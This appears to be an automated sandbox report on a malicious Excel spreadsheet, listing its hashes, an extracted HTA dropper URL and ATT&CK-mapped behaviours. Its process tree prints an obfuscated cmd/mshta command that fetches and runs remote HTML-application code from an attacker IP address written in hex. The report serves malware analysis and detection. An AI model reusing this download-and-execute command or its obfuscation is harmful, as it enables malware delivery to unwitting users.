a3558b4d86882c0f07febfab8f2c47bd5efd348f903e653489053c430976930c

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 02:31

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General

Target

a3558b4d86882c0f07febfab8f2c47bd5efd348f903e653489053c430976930c.xls
Size

115KB
MD5

b5c6cb4448864d8fbed833964d06a497
SHA1

0ae15a2928af447bc73ae8d3838e00471dbcb62c
SHA256

a3558b4d86882c0f07febfab8f2c47bd5efd348f903e653489053c430976930c
SHA512

e22d38e8b336adcb1221600640bd8200cbfe3d220fd2a4d9a9e94d5d23e653340fd8b30c1f38ec7b282f8f863f51bbf8bf816568eab7a724aca4d9f2965fd523
SSDEEP

3072:Me+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAImxe53lGvFTQ3IzxgdrvxpU0f:z+nBqmKk3hbdlylKsgqopeJBWhZFVE+m

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe7.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1976	2356	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1688	mshta.exe
7	1688	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2356	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2356	EXCEL.EXE
2356	EXCEL.EXE
2356	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 1976	2356	EXCEL.EXE	30
PID 2356 wrote to memory of 1976	2356	EXCEL.EXE	30
PID 2356 wrote to memory of 1976	2356	EXCEL.EXE	30
PID 2356 wrote to memory of 1976	2356	EXCEL.EXE	30
PID 1976 wrote to memory of 1688	1976	cmd.exe	32
PID 1976 wrote to memory of 1688	1976	cmd.exe	32
PID 1976 wrote to memory of 1688	1976	cmd.exe	32
PID 1976 wrote to memory of 1688	1976	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a3558b4d86882c0f07febfab8f2c47bd5efd348f903e653489053c430976930c.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe7.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:1688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2356-1-0x00000000720DD000-0x00000000720E8000-memory.dmp

Filesize
44KB

Download
memory/2356-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2356-2-0x00000000720DD000-0x00000000720E8000-memory.dmp

Filesize
44KB

Download